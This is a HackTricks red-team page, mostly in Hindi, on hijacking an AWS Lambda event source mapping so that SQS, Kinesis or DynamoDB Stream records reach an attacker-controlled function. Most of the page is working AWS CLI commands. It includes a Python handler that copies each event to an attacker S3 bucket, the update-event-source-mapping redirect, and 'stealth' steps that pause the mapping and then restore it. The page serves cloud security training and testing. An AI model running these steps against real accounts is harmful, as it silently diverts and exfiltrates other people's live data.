AWS - Hijack Event Source Mapping के द्वारा Stream/SQS/Kinesis को Attacker Lambda पर Redirect करना

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

UpdateEventSourceMapping का दुरुपयोग कर किसी मौजूदा Event Source Mapping (ESM) के target Lambda function को बदलें ताकि DynamoDB Streams, Kinesis, या SQS से रिकॉर्ड attacker-controlled function को डिलीवर हों। यह बिना producers या मूल function के कोड को छुए लाइव डेटा को चुपचाप भटका देता है।

प्रभाव

  • producer apps या victim code को संशोधित किए बिना मौजूदा streams/queues से लाइव रिकॉर्ड्स को मोड़ना और पढ़ना।
  • victim के ट्रैफ़िक को एक rogue function में प्रोसेस करके संभावित डेटा निष्कासन या लॉजिक में छेड़छाड़।

आवश्यक अनुमतियाँ

  • lambda:ListEventSourceMappings
  • lambda:GetEventSourceMapping
  • lambda:UpdateEventSourceMapping
  • attacker-controlled Lambda को डिप्लॉय या रेफरेंस करने की क्षमता (lambda:CreateFunction या मौजूदा का उपयोग करने की अनुमति)।

चरण

  1. victim function के लिए event source mappings को सूचीबद्ध करें
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
  1. attacker-controlled रिसीवर Lambda तैयार करें (same region; ideally similar VPC/runtime)
cat > exfil.py <<'PY'
import json, boto3, os, time

def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
  1. mapping को attacker function की ओर पुनर्निर्देशित करें
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
  1. स्रोत पर एक इवेंट जनरेट करें ताकि mapping ट्रिगर हो (उदाहरण: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
  1. सत्यापित करें कि attacker function बैच प्राप्त करता है
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
  1. वैकल्पिक stealth
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false

# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true

नोट:

  • SQS ESMs के लिए, queue को process कर रहे Lambda की execution role को sqs:ReceiveMessage, sqs:DeleteMessage, और sqs:GetQueueAttributes की आवश्यकता होती है (प्रबंधित नीति: AWSLambdaSQSQueueExecutionRole).
  • ESM UUID वही रहता है; केवल इसका FunctionArn बदला जाता है, इसलिए producers और source ARNs अपरिवर्तित रहते हैं.

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें